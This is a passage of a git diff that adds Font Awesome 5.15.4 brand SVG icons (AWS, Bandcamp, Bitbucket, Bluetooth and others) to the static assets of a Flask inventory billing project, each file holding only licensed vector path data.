10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aws.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aws.svg new file mode 100644 index 00000000..c06d4b81 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aws.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bandcamp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bandcamp.svg new file mode 100644 index 00000000..007ee664 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bandcamp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/battle-net.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/battle-net.svg new file mode 100644 index 00000000..7202f734 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/battle-net.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance-square.svg new file mode 100644 index 00000000..c6709002 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance.svg new file mode 100644 index 00000000..5ce09490 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/behance.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bimobject.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bimobject.svg new file mode 100644 index 00000000..a30ddbda --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bimobject.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitbucket.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitbucket.svg new file mode 100644 index 00000000..50aff307 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitbucket.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitcoin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitcoin.svg new file mode 100644 index 00000000..b9be5644 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bitcoin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bity.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bity.svg new file mode 100644 index 00000000..124631fc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bity.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/black-tie.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/black-tie.svg new file mode 100644 index 00000000..fcf4f264 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/black-tie.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blackberry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blackberry.svg new file mode 100644 index 00000000..10f6ca42 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blackberry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger-b.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger-b.svg new file mode 100644 index 00000000..38782d0d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger-b.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger.svg new file mode 100644 index 00000000..f27f18dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/blogger.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth-b.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth-b.svg new file mode 100644 index 00000000..3d2eca7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth-b.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth.svg new file mode 100644 index 00000000..c3923ed8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bluetooth.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 